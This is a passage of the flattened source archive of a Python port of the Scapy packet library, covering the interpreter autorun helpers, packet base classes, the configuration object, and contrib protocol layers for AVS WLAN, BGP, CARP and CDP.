code.InteractiveInterpreter.showsyntaxerror(self, *args, **kargs) def showtraceback(self, *args, **kargs): self.error = 1 exc_type, exc_value, exc_tb = sys.exc_info() if isinstance(exc_value, StopAutorun): raise exc_value return code.InteractiveInterpreter.showtraceback(self, *args, **kargs) def autorun_commands(cmds,my_globals=None,verb=0): sv = conf.verb import builtins try: try: if my_globals is None: my_globals = __import__("scapy.all").all.__dict__ conf.verb = verb interp = ScapyAutorunInterpreter(my_globals) cmd = "" cmds = cmds.splitlines() cmds.append("") # ensure we finish multiline commands cmds.reverse() builtins.__dict__["_"] = None while 1: if cmd: sys.stderr.write(sys.__dict__.get("ps2","... ")) else: sys.stderr.write(str(sys.__dict__.get("ps1",ColorPrompt()))) l = cmds.pop() print(l) cmd += "\n"+l if interp.runsource(cmd): continue if interp.error: return 0 cmd = "" if len(cmds) <= 1: break except SystemExit: pass finally: conf.verb = sv return _ def autorun_get_interactive_session(cmds, **kargs): class StringWriter: def __init__(self): self.s = "" def write(self, x): self.s += x sw = StringWriter() sstdout,sstderr = sys.stdout,sys.stderr try: try: sys.stdout = sys.stderr = sw res = autorun_commands(cmds, **kargs) except StopAutorun as e: e.code_run = sw.s raise finally: sys.stdout,sys.stderr = sstdout,sstderr return sw.s,res def autorun_get_text_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = NoTheme() s,res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s,res def autorun_get_ansi_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = DefaultTheme() s,res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s,res def autorun_get_html_interactive_session(cmds, **kargs): ct = conf.color_theme to_html = lambda s: s.replace("<","<").replace(">",">").replace("#[#","<").replace("#]#",">") try: try: conf.color_theme = HTMLTheme2() s,res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun as e: e.code_run = to_html(e.code_run) raise finally: conf.color_theme = ct return to_html(s),res def autorun_get_latex_interactive_session(cmds, **kargs): ct = conf.color_theme to_latex = lambda s: tex_escape(s).replace("@[@","{").replace("@]@","}").replace("@`@","\\") try: try: conf.color_theme = LatexTheme2() s,res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun as e: e.code_run = to_latex(e.code_run) raise finally: conf.color_theme = ct return to_latex(s),res scapy-0.23/scapy/base_classes.py000066400000000000000000000167701320561231000167010ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Generators and packet meta classes. """ ############### ## Generators ## ################ import re,random,socket from types import GeneratorType import scapy.config from . import error class Gen(object): def __iter__(self): return iter([]) class SetGen(Gen): def __init__(self, col, _iterpacket=1): self._iterpacket=_iterpacket if type(col) is list or isinstance(col, GeneratorType): self.col = col elif isinstance(col, BasePacketList): self.col = list(col) else: self.col = [col] # DEPRECATED # def transf(self, element): # return element def __iter__(self): for i in self.col: if (type(i) is tuple) and (len(i) == 2) and type(i[0]) is int and type(i[1]) is int: if (i[0] <= i[1]): j=i[0] while j <= i[1]: yield j j += 1 elif isinstance(i, Gen) and (self._iterpacket or not isinstance(i,BasePacket)): for j in i: yield j else: yield i def __repr__(self): return "" % self.col.__repr__() class Net(Gen): """Generate a list of IPs from a network address or a name""" name = "ip" ipaddress = re.compile(r"^(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)(/[0-3]?[0-9])?$") @staticmethod def _parse_digit(a,netmask): netmask = min(8,max(netmask,0)) if a == "*": a = (0,256) elif a.find("-") >= 0: x,y = map(int,a.split("-")) if x > y: y = x a = (x & (0xff<>(8-netmask))))+1) else: a = (int(a) & (0xff<>(8-netmask)))+1) return a @classmethod def _parse_net(cls, net): tmp=net.split('/')+["32"] if not cls.ipaddress.match(net): tmp[0]=socket.gethostbyname(tmp[0]) netmask = int(tmp[1]) #return map(lambda x,y: cls._parse_digit(x,y), tmp[0].split("."), map(lambda x,nm=netmask: x-nm, (8,16,24,32))),netmask return list(map(lambda x,y: cls._parse_digit(x,y), tmp[0].split("."), [ i - netmask for i in (8,16,24,32)] )),netmask def __init__(self, net): self.repr=net self.parsed,self.netmask = self._parse_net(net) def __iter__(self): for d in range(*self.parsed[3]): for c in range(*self.parsed[2]): for b in range(*self.parsed[1]): for a in range(*self.parsed[0]): yield "%i.%i.%i.%i" % (a,b,c,d) def choice(self): ip = [] for v in self.parsed: ip.append(str(random.randint(v[0],v[1]-1))) return ".".join(ip) def __repr__(self): return "Net(%r)" % self.repr def __eq__(self, other): if hasattr(other, "parsed"): p2 = other.parsed else: p2,nm2 = self._parse_net(other) return self.parsed == p2 def __contains__(self, other): if hasattr(other, "parsed"): p2 = other.parsed else: p2,nm2 = self._parse_net(other) for (a1,b1),(a2,b2) in zip(self.parsed,p2): if a1 > a2 or b1 < b2: return False return True def __rcontains__(self, other): return self in self.__class__(other) class OID(Gen): name = "OID" def __init__(self, oid): self.oid = oid self.cmpt = [] fmt = [] for i in oid.split("."): if "-" in i: fmt.append("%i") self.cmpt.append(tuple(map(int, i.split("-")))) else: fmt.append(i) self.fmt = ".".join(fmt) def __repr__(self): return "OID(%r)" % self.oid def __iter__(self): ii = [k[0] for k in self.cmpt] while 1: yield self.fmt % tuple(ii) i = 0 while 1: if i >= len(ii): raise StopIteration if ii[i] < self.cmpt[i][1]: ii[i]+=1 break else: ii[i] = self.cmpt[i][0] i += 1 ###################################### ## Packet abstract and base classes ## ###################################### class Packet_metaclass(type): def __new__(cls, name, bases, dct): if "fields_desc" in dct: # perform resolution of references to other packets current_fld = dct["fields_desc"] resolved_fld = [] for f in current_fld: if isinstance(f, Packet_metaclass): # reference to another fields_desc for f2 in f.fields_desc: resolved_fld.append(f2) else: resolved_fld.append(f) else: # look for a field_desc in parent classes resolved_fld = None for b in bases: if hasattr(b,"fields_desc"): resolved_fld = b.fields_desc break if resolved_fld: # perform default value replacements final_fld = [] for f in resolved_fld: if f.name in dct: f = f.copy() f.default = dct[f.name] del(dct[f.name]) final_fld.append(f) dct["fields_desc"] = final_fld newcls = super(Packet_metaclass, cls).__new__(cls, name, bases, dct) if hasattr(newcls,"register_variant"): newcls.register_variant() for f in newcls.fields_desc: f.register_owner(newcls) scapy.config.conf.layers.register(newcls) return newcls def __getattr__(self, attr): for k in self.fields_desc: if k.name == attr: return k raise AttributeError(attr) def __call__(cls, *args, **kargs): if "dispatch_hook" in cls.__dict__: cls = cls.dispatch_hook(*args, **kargs) i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) i.__init__(*args, **kargs) return i class NewDefaultValues(Packet_metaclass): """NewDefaultValues is deprecated (not needed anymore) remove this: __metaclass__ = NewDefaultValues and it should still work. """ def __new__(cls, name, bases, dct): from error import log_loading import traceback try: for tb in traceback.extract_stack()+[("??",-1,None,"")]: f,l,_,line = tb if line.startswith("class"): break except: f,l="??",-1 raise log_loading.warning("Deprecated (no more needed) use of NewDefaultValues (%s l. %i)." % (f,l)) return super(NewDefaultValues, cls).__new__(cls, name, bases, dct) class BasePacket(Gen): pass ############################# ## Packet list base classe ## ############################# class BasePacketList: pass scapy-0.23/scapy/config.py000066400000000000000000000317031320561231000155100ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Implementation for of the configuration object. """ import os,time,socket,sys from .data import * import scapy.base_classes import scapy.themes from .error import log_scapy ############ ## Config ## ############ class ConfClass(object): def configure(self, cnf): self.__dict__ = cnf.__dict__.copy() def __repr__(self): return str(self) def __str__(self): s="" keys = self.__class__.__dict__.copy() keys.update(self.__dict__) keys = list(keys.keys()) keys.sort() for i in keys: if i[0] != "_": r = repr(getattr(self, i)) r = " ".join(r.split()) wlen = 76-max(len(i),10) if len(r) > wlen: r = r[:wlen-3]+"..." s += "%-10s = %s\n" % (i, r) return s[:-1] class Interceptor(object): def __init__(self, name, default, hook, args=None, kargs=None): self.name = name self.intname = "_intercepted_%s" % name self.default=default self.hook = hook self.args = args if args is not None else [] self.kargs = kargs if kargs is not None else {} def __get__(self, obj, typ=None): if not hasattr(obj, self.intname): setattr(obj, self.intname, self.default) return getattr(obj, self.intname) def __set__(self, obj, val): setattr(obj, self.intname, val) self.hook(self.name, val, *self.args, **self.kargs) class ProgPath(ConfClass): pdfreader = "acroread" psreader = "gv" dot = "dot" display = "display" tcpdump = "tcpdump" tcpreplay = "tcpreplay" hexedit = "hexedit" wireshark = "wireshark" class ConfigFieldList: def __init__(self): self.fields = set() self.layers = set() @staticmethod def _is_field(f): return hasattr(f, "owners") def _recalc_layer_list(self): self.layers = set([owner for f in self.fields for owner in f.owners]) def add(self, *flds): self.fields |= set([f for f in flds if self._is_field(f)]) self._recalc_layer_list() def remove(self, *flds): self.fields -= set(flds) self._recalc_layer_list() def __contains__(self, elt): if isinstance(elt, scapy.base_classes.Packet_metaclass): return elt in self.layers return elt in self.fields def __repr__(self): return "<%s [%s]>" % (self.__class__.__name__," ".join(str(x) for x in self.fields)) class Emphasize(ConfigFieldList): pass class Resolve(ConfigFieldList): pass class Num2Layer: def __init__(self): self.num2layer = {} self.layer2num = {} def register(self, num, layer): self.register_num2layer(num, layer) self.register_layer2num(num, layer) def register_num2layer(self, num, layer): self.num2layer[num] = layer def register_layer2num(self, num, layer): self.layer2num[layer] = num def __getitem__(self, item): if isinstance(item, scapy.base_classes.Packet_metaclass): return self.layer2num[item] return self.num2layer[item] def __contains__(self, item): if isinstance(item, scapy.base_classes.Packet_metaclass): return item in self.layer2num return item in self.num2layer def get(self, item, default=None): if item in self: return self[item] return default def __repr__(self): lst = [] for num,layer in self.num2layer.items(): if layer in self.layer2num and self.layer2num[layer] == num: dir = "<->" else: dir = " ->" lst.append((num,"%#6x %s %-20s (%s)" % (num,dir,layer.__name__,layer.name))) for layer,num in self.layer2num.items(): if num not in self.num2layer or self.num2layer[num] != layer: lst.append((num,"%#6x <- %-20s (%s)" % (num,layer.__name__,layer.name))) lst.sort() return "\n".join(y for x,y in lst) class LayersList(list): def __repr__(self): s=[] for l in self: s.append("%-20s: %s" % (l.__name__,l.name)) return "\n".join(s) def register(self, layer): self.append(layer) class CommandsList(list): def __repr__(self): s=[] for l in sorted(self,key=lambda x:x.__name__): if l.__doc__: doc = l.__doc__.split("\n")[0] else: doc = "--" s.append("%-20s: %s" % (l.__name__,doc)) return "\n".join(s) def register(self, cmd): self.append(cmd) return cmd # return cmd so that method can be used as a decorator def lsc(): print(repr(conf.commands)) class CacheInstance(dict): def __init__(self, name="noname", timeout=None): self.timeout = timeout self.name = name self._timetable = {} def __getitem__(self, item): val = dict.__getitem__(self,item) if self.timeout is not None: t = self._timetable[item] if time.time()-t > self.timeout: raise KeyError(item) return val def get(self, item, default=None): # overloading this method is needed to force the dict to go through # the timetable check try: return self[item] except KeyError: return default def __setitem__(self, item, v): try: self._timetable[item] = time.time() except AttributeError: pass dict.__setitem__(self, item,v) def update(self, other): dict.update(self, other) self._timetable.update(other._timetable) def items(self): if self.timeout is None: return dict.items(self) t0=time.time() return ((k,v) for (k,v) in dict.items(self) if t0-self._timetable[k] < self.timeout) def keys(self): if self.timeout is None: return dict.keys(self) t0=time.time() return (k for k in dict.keys(self) if t0-self._timetable[k] < self.timeout) def __iter__(self): return self.keys() def values(self): if self.timeout is None: return dict.values(self) t0=time.time() return (v for (k,v) in dict.items(self) if t0-self._timetable[k] < self.timeout) def items(self): if self.timeout is None: return dict.items(self) t0=time.time() return [(k,v) for (k,v) in dict.items(self) if t0-self._timetable[k] < self.timeout] def keys(self): if self.timeout is None: return dict.keys(self) t0=time.time() return [k for k in dict.keys(self) if t0-self._timetable[k] < self.timeout] def values(self): if self.timeout is None: return dict.values(self) t0=time.time() return [v for (k,v) in dict.items(self) if t0-self._timetable[k] < self.timeout] def __len__(self): if self.timeout is None: return dict.__len__(self) return len(self.keys()) def summary(self): return "%s: %i valid items. Timeout=%rs" % (self.name, len(self), self.timeout) def __repr__(self): s = [] if self: mk = max(len(k) for k in self.keys()) fmt = "%%-%is %%s" % (mk+1) for item in self.items(): s.append(fmt % item) return "\n".join(s) class NetCache: def __init__(self): self._caches_list = [] def add_cache(self, cache): self._caches_list.append(cache) setattr(self,cache.name,cache) def new_cache(self, name, timeout=None): c = CacheInstance(name=name, timeout=timeout) self.add_cache(c) def __delattr__(self, attr): raise AttributeError("Cannot delete attributes") def update(self, other): for co in other._caches_list: if hasattr(self, co.name): getattr(self,co.name).update(co) else: self.add_cache(co.copy()) def flush(self): for c in self._caches_list: c.flush() def __repr__(self): return "\n".join(c.summary() for c in self._caches_list) class LogLevel(object): def __get__(self, obj, otype): return obj._logLevel def __set__(self,obj,val): log_scapy.setLevel(val) obj._logLevel = val def _prompt_changer(attr,val): prompt = conf.prompt try: ct = val if isinstance(ct, AnsiColorTheme) and ct.prompt(""): ## ^A and ^B delimit invisible caracters for readline to count right. ## And we need ct.prompt() to do change something or else ^A and ^B will be ## displayed prompt = "\001%s\002" % ct.prompt("\002"+prompt+"\001") else: prompt = ct.prompt(prompt) except: pass sys.ps1 = prompt class Conf(ConfClass): """This object contains the configuration of scapy. session : filename where the session will be saved interactive_shell : If set to "ipython", use IPython as shell. Default: IPython. ipython_embedded : If True use embedded ipython shell, standard ipython shell otherwise. stealth : if 1, prevents any unwanted packet to go out (ARP, DNS, ...) checkIPID: if 0, doesn't check that IPID matches between IP sent and ICMP IP citation received if 1, checks that they either are equal or byte swapped equals (bug in some IP stacks) if 2, strictly checks that they are equals checkIPsrc: if 1, checks IP src in IP and ICMP IP citation match (bug in some NAT stacks) check_TCPerror_seqack: if 1, also check that TCP seq and ack match the ones in ICMP citation iff : selects the default output interface for srp() and sendp(). default:"eth0") verb : level of verbosity, from 0 (almost mute) to 3 (verbose) promisc : default mode for listening socket (to get answers if you spoof on a lan) sniff_promisc : default mode for sniff() filter : bpf filter added to every sniffing socket to exclude traffic from analysis histfile : history file padding : includes padding in desassembled packets except_filter : BPF filter for packets to ignore debug_match : when 1, store received packet that are not matched into debug.recv route : holds the Scapy routing table and provides methods to manipulate it warning_threshold : how much time between warnings from the same place ASN1_default_codec: Codec used by default for ASN1 objects mib : holds MIB direct access dictionnary resolve : holds list of fields for which resolution should be done noenum : holds list of enum fields for which conversion to string should NOT be done AS_resolver: choose the AS resolver class to use extensions_paths: path or list of paths where extensions are to be looked for """ version = "3.0.0" session = "" interactive = False interactive_shell = "ipython" ipython_embedded = True stealth = "not implemented" iface = None readfunc = None layers = LayersList() commands = CommandsList() logLevel = LogLevel() checkIPID = 0 checkIPsrc = 1 checkIPaddr = 1 check_TCPerror_seqack = 0 verb = 2 prompt = ">>> " promisc = 1 sniff_promisc = 1 raw_layer = None raw_summary = False default_l2 = None l2types = Num2Layer() l3types = Num2Layer() L3socket = None L2socket = None L2listen = None histfile = os.path.join(os.path.expanduser("~"), ".scapy_history") padding = 1 except_filter = "" debug_match = 0 wepkey = "" route = None # Filled by route.py route6 = None # Filled by route6.py auto_fragment = 1 debug_dissector = 0 color_theme = Interceptor("color_theme", scapy.themes.NoTheme(), _prompt_changer) warning_threshold = 5 prog = ProgPath() resolve = Resolve() noenum = Resolve() emph = Emphasize() use_dnet = False use_winpcapy = False use_netifaces = False ipv6_enabled = socket.has_ipv6 ethertypes = ETHER_TYPES protocols = IP_PROTOS services_tcp = TCP_SERVICES services_udp = UDP_SERVICES extensions_paths = "." manufdb = MANUFDB stats_classic_protocols = [] stats_dot11_protocols = [] temp_files = [] netcache = NetCache() load_layers = [ "l2", "inet", "dhcp", "dns", "dot11", "gprs", "hsrp", "inet6", "ir", "isakmp", "l2tp", "mgcp", "mobileip", "netbios", "netflow", "ntp", "ppp", "radius", "rip", "rtp", "sebek", "skinny", "smb", "snmp", "tftp", "x509", "bluetooth", "dhcp6", "llmnr", "sctp", "vrrp", "ipsec" ] if not Conf.ipv6_enabled: log_scapy.warning("IPv6 support disabled in Python. Cannot load scapy IPv6 layers.") for m in ["inet6","dhcp6"]: if m in Conf.load_layers: Conf.load_layers.remove(m) conf=Conf() conf.logLevel=30 # 30=Warning scapy-0.23/scapy/contrib/000077500000000000000000000000001320561231000153255ustar00rootroot00000000000000scapy-0.23/scapy/contrib/__init__.py000066400000000000000000000004151320561231000174360ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package of contrib modules that have to be loaded explicitly. """ scapy-0.23/scapy/contrib/avs.py000066400000000000000000000034511320561231000164730ustar00rootroot00000000000000#! /usr/bin/env python # http://trac.secdev.org/scapy/ticket/82 # scapy.contrib.description = AVS WLAN Monitor Header # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.dot11 import * AVSWLANPhyType = { 0 : "Unknown", 1 : "FHSS 802.11 '97", 2 : "DSSS 802.11 '97", 3 : "IR Baseband", 4 : "DSSS 802.11b", 5 : "PBCC 802.11b", 6 : "OFDM 802.11g", 7 : "PBCC 802.11g", 8 : "OFDM 802.11a" } AVSWLANEncodingType = { 0 : "Unknown", 1 : "CCK", 2 : "PBCC", 3 : "OFDM"} AVSWLANSSIType = { 0 : "None", 1 : "Normalized RSSI", 2 : "dBm", 3 : "Raw RSSI"} AVSWLANPreambleType = { 0 : "Unknown", 1 : "Short", 2 : "Long" } class AVSWLANHeader(Packet): """ iwpriv eth1 set_prismhdr 1 """ name = "AVS WLAN Monitor Header" fields_desc = [ IntField("version",1), IntField("len",64), LongField("mactime",0), LongField("hosttime",0), IntEnumField("phytype",0, AVSWLANPhyType), IntField("channel",0), IntField("datarate",0), IntField("antenna",0), IntField("priority",0), IntEnumField("ssi_type",0, AVSWLANSSIType), SignedIntField("ssi_signal",0), SignedIntField("ssi_noise",0), IntEnumField("preamble",0, AVSWLANPreambleType), IntEnumField("encoding",0, AVSWLANEncodingType), ] bind_layers(AVSWLANHeader, Dot11) scapy-0.23/scapy/contrib/bgp.py000066400000000000000000000141421320561231000164510ustar00rootroot00000000000000#! /usr/bin/env python # http://trac.secdev.org/scapy/ticket/162 # scapy.contrib.description = BGP # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.inet import TCP class BGPIPField(Field): """Represents how bgp dose an ip prefix in (length, prefix)""" def mask2iplen(self,mask): """turn the mask into the length in bytes of the ip field""" return (mask + 7) // 8 def h2i(self, pkt, h): """human x.x.x.x/y to internal""" ip,mask = re.split( '/', h) return int(mask), ip def i2h( self, pkt, i): mask, ip = i return ip + '/' + str( mask ) def i2repr( self, pkt, i): """make it look nice""" return self.i2h(pkt,i) def i2len(self, pkt, i): """rely on integer division""" mask, ip = i return self.mask2iplen(mask) + 1 def i2m(self, pkt, i): """internal (ip as bytes, mask as int) to machine""" mask, ip = i ip = inet_aton( ip ) return struct.pack(">B",mask) + ip[:self.mask2iplen(mask)] def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): l = self.mask2iplen( struct.unpack(">B",s[0])[0] ) + 1 return s[l:], self.m2i(pkt,s[:l]) def m2i(self,pkt,m): mask = struct.unpack(">B",m[0])[0] ip = "".join( [ m[i + 1] if i < self.mask2iplen(mask) else '\x00' for i in range(4)] ) return (mask,inet_ntoa(ip)) class BGPHeader(Packet): """The first part of any BGP packet""" name = "BGP header" fields_desc = [ XBitField("marker",0xffffffffffffffffffffffffffffffff, 0x80 ), ShortField("len", None), ByteEnumField("type", 4, {0:"none", 1:"open",2:"update",3:"notification",4:"keep_alive"}), ] def post_build(self, p, pay): if self.len is None and pay: l = len(p) + len(pay) p = p[:16]+struct.pack("!H", l)+p[18:] return p+pay class BGPOptionalParameter(Packet): """Format of optional Parameter for BGP Open""" name = "BGP Optional Parameters" fields_desc = [ ByteField("type", 2), ByteField("len", None), StrLenField("value", "", length_from = lambda x: x.len), ] def post_build(self,p,pay): if self.len is None: l = len(p) - 2 # 2 is length without value p = p[:1]+struct.pack("!B", l)+p[2:] return p+pay def extract_padding(self, p): """any thing after this packet is extracted is padding""" return "",p class BGPOpen(Packet): """ Opens a new BGP session""" name = "BGP Open Header" fields_desc = [ ByteField("version", 4), ShortField("AS", 0), ShortField("hold_time", 0), IPField("bgp_id","0.0.0.0"), ByteField("opt_parm_len", None), PacketListField("opt_parm",[], BGPOptionalParameter, length_from=lambda p:p.opt_parm_len), ] def post_build(self, p, pay): if self.opt_parm_len is None: l = len(p) - 10 # 10 is regular length with no additional options p = p[:9] + struct.pack("!B",l) +p[10:] return p+pay class BGPAuthenticationData(Packet): name = "BGP Authentication Data" fields_desc = [ ByteField("AuthenticationCode", 0), ByteField("FormMeaning", 0), FieldLenField("Algorithm", 0), ] class BGPPathAttribute(Packet): "the attribute of total path" name = "BGP Attribute fields" fields_desc = [ FlagsField("flags", 0x40, 8, ["NA0","NA1","NA2","NA3","Extended-Length","Partial","Transitive","Optional"]), #Extened leght may not work ByteEnumField("type", 1, {1:"ORIGIN", 2:"AS_PATH", 3:"NEXT_HOP", 4:"MULTI_EXIT_DISC", 5:"LOCAL_PREF", 6:"ATOMIC_AGGREGATE", 7:"AGGREGATOR"}), ByteField("attr_len", None), StrLenField("value", "", length_from = lambda p: p.attr_len), ] def post_build(self, p, pay): if self.attr_len is None: l = len(p) - 3 # 3 is regular length with no additional options p = p[:2] + struct.pack("!B",l) +p[3:] return p+pay def extract_padding(self, p): """any thing after this packet is extracted is padding""" return "",p class BGPUpdate(Packet): """Update the routes WithdrawnRoutes = UnfeasiableRoutes""" name = "BGP Update fields" fields_desc = [ ShortField("withdrawn_len", None), FieldListField("withdrawn",[], BGPIPField("","0.0.0.0/0"), length_from=lambda p:p.withdrawn_len), ShortField("tp_len", None), PacketListField("total_path", [], BGPPathAttribute, length_from = lambda p: p.tp_len), FieldListField("nlri",[], BGPIPField("","0.0.0.0/0"), length_from=lambda p:p.underlayer.len - 23 - p.tp_len - p.withdrawn_len), # len should be BGPHeader.len ] def post_build(self,p,pay): wl = self.withdrawn_len subpacklen = lambda p: len ( str( p )) subfieldlen = lambda p: BGPIPField("", "0.0.0.0/0").i2len(self, p ) if wl is None: wl = sum ( map ( subfieldlen , self.withdrawn)) p = p[:0]+struct.pack("!H", wl)+p[2:] if self.tp_len is None: l = sum ( map ( subpacklen , self.total_path)) p = p[:2+wl]+struct.pack("!H", l)+p[4+wl:] return p+pay class BGPNotification(Packet): name = "BGP Notification fields" fields_desc = [ ByteEnumField("ErrorCode",0,{1:"Message Header Error",2:"OPEN Message Error",3:"UPDATE Messsage Error",4:"Hold Timer Expired",5:"Finite State Machine",6:"Cease"}), ByteEnumField("ErrorSubCode",0,{1:"MessageHeader",2:"OPENMessage",3:"UPDATEMessage"}), LongField("Data", 0), ] class BGPErrorSubcodes(Packet): name = "BGP Error Subcodes" Fields_desc = [ ByteEnumField("MessageHeader",0,{1:"Connection Not Synchronized",2:"Bad Message Length",3:"Bad Messsage Type"}), ByteEnumField("OPENMessage",0,{1:"Unsupported Version Number",2:"Bad Peer AS",3:"Bad BGP Identifier",4:"Unsupported Optional Parameter",5:"Authentication Failure",6:"Unacceptable Hold Time"}), ByteEnumField("UPDATEMessage",0,{1:"Malformed Attribute List",2:"Unrecognized Well-Known Attribute",3:"Missing Well-Known Attribute",4:"Attribute Flags Error",5:"Attribute Length Error",6:"Invalid ORIGIN Attribute",7:"AS Routing Loop",8:"Invalid NEXT_HOP Attribute",9:"Optional Attribute Error",10:"Invalid Network Field",11:"Malformed AS_PATH"}), ] bind_layers( TCP, BGPHeader, dport=179) bind_layers( TCP, BGPHeader, sport=179) bind_layers( BGPHeader, BGPOpen, type=1) bind_layers( BGPHeader, BGPUpdate, type=2) bind_layers( BGPHeader, BGPHeader, type=4) if __name__ == "__main__": interact(mydict=globals(), mybanner="BGP addon .05") scapy-0.23/scapy/contrib/carp.py000066400000000000000000000034601320561231000166270ustar00rootroot00000000000000 # scapy.contrib.description = CARP # scapy.contrib.status = loads from scapy.packet import * from scapy.layers.inet import IP from scapy.fields import BitField, ByteField, XShortField, IntField, XIntField from scapy.utils import checksum import struct, hmac, hashlib class CARP(Packet): name = "CARP" fields_desc = [ BitField("version", 4, 4), BitField("type", 4, 4), ByteField("vhid", 1), ByteField("advskew", 0), ByteField("authlen", 0), ByteField("demotion", 0), ByteField("advbase", 0), XShortField("chksum", 0), XIntField("counter1", 0), XIntField("counter2", 0), XIntField("hmac1", 0), XIntField("hmac2", 0), XIntField("hmac3", 0), XIntField("hmac4", 0), XIntField("hmac5", 0) ] def post_build(self, pkt, pay): if self.chksum == None: pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:] return pkt def build_hmac_sha1(pkt, pw = '\0' * 20, ip4l = [], ip6l = []): if not pkt.haslayer(CARP): return None p = pkt[CARP] h = hmac.new(pw, digestmod = hashlib.sha1) # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field h.update('\x21') # XXX: mac addy if different from special link layer. comes before vhid h.update(struct.pack('!B', p.vhid)) sl = [] for i in ip4l: # sort ips from smallest to largest sl.append(inet_aton(i)) sl.sort() for i in sl: h.update(i) # XXX: do ip6l sorting return h.digest() """ XXX: Usually CARP is multicast to 224.0.0.18 but because of virtual setup, it'll be unicast between nodes. Uncomment the following line for normal use bind_layers(IP, CARP, proto=112, dst='224.0.0.18') """ bind_layers(IP, CARP, proto=112) scapy-0.23/scapy/contrib/cdp.py000066400000000000000000000263301320561231000164510ustar00rootroot00000000000000#! /usr/bin/env python # scapy.contrib.description = Cisco Discovery Protocol # scapy.contrib.status = loads ############################################################################# ## ## ## cdp.py --- Cisco Discovery Protocol (CDP) extension for Scapy ## ## ## ## Copyright (C) 2006 Nicolas Bareil ## ## Arnaud Ebalard ## ## EADS/CRC security team ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation; version 2. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# from scapy.packet import * from scapy.fields import * from scapy.layers.inet6 import * ##################################################################### # Helpers and constants ##################################################################### # CDP TLV classes keyed by type _cdp_tlv_cls = { 0x0001: "CDPMsgDeviceID", 0x0002: "CDPMsgAddr", 0x0003: "CDPMsgPortID", 0x0004: "CDPMsgCapabilities", 0x0005: "CDPMsgSoftwareVersion", 0x0006: "CDPMsgPlatform", 0x0007: "CDPMsgIPPrefix", 0x0008: "CDPMsgProtoHello", 0x0009: "CDPMsgVTPMgmtDomain", # CDPv2 0x000a: "CDPMsgNativeVLAN", # CDPv2 0x000b: "CDPMsgDuplex", # # 0x000c: "CDPMsgGeneric", # 0x000d: "CDPMsgGeneric", 0x000e: "CDPMsgVoIPVLANReply", 0x000f: "CDPMsgVoIPVLANQuery", 0x0010: "CDPMsgPower", 0x0011: "CDPMsgMTU", # 0x0012: "CDPMsgTrustBitmap", # 0x0013: "CDPMsgUntrustedPortCoS", # 0x0014: "CDPMsgSystemName", # 0x0015: "CDPMsgSystemOID", 0x0016: "CDPMsgMgmtAddr", # 0x0017: "CDPMsgLocation", 0x0019: "CDPMsgUnknown19", # 0x001a: "CDPPowerAvailable" } _cdp_tlv_types = { 0x0001: "Device ID", 0x0002: "Addresses", 0x0003: "Port ID", 0x0004: "Capabilities", 0x0005: "Software Version", 0x0006: "Platform", 0x0007: "IP Prefix", 0x0008: "Protocol Hello", 0x0009: "VTP Mangement Domain", # CDPv2 0x000a: "Native VLAN", # CDPv2 0x000b: "Duplex", # 0x000c: "CDP Unknown command (send us a pcap file)", 0x000d: "CDP Unknown command (send us a pcap file)", 0x000e: "VoIP VLAN Reply", 0x000f: "VoIP VLAN Query", 0x0010: "Power", 0x0011: "MTU", 0x0012: "Trust Bitmap", 0x0013: "Untrusted Port CoS", 0x0014: "System Name", 0x0015: "System OID", 0x0016: "Management Address", 0x0017: "Location", 0x0018: "CDP Unknown command (send us a pcap file)", 0x0019: "CDP Unknown command (send us a pcap file)", 0x001a: "Power Available"} def _CDPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _cdp_tlv_cls.get(t, "CDPMsgGeneric") cls = globals()[clsname] return cls(p, **kargs) class CDPMsgGeneric(Packet): name = "CDP Generic Message" fields_desc = [ XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", "!H"), StrLenField("val", "", length_from=lambda x:x.len - 4) ] def guess_payload_class(self, p): return conf.padding_layer # _CDPGuessPayloadClass class CDPMsgDeviceID(CDPMsgGeneric): name = "Device ID" type = 0x0001 _cdp_addr_record_ptype = {0x01: "NLPID", 0x02: "802.2"} _cdp_addrrecord_proto_ip = b"\xcc" _cdp_addrrecord_proto_ipv6 = b"\xaa\xaa\x03\x00\x00\x00\x86\xdd" class CDPAddrRecord(Packet): name = "CDP Address" fields_desc = [ ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", None, "proto", "B"), StrLenField("proto", None, length_from=lambda x:x.plen), FieldLenField("addrlen", None, length_of=lambda x:x.addr), StrLenField("addr", None, length_from=lambda x:x.addrlen)] def guess_payload_class(self, p): return conf.padding_layer class CDPAddrRecordIPv4(CDPAddrRecord): name = "CDP Address IPv4" fields_desc = [ 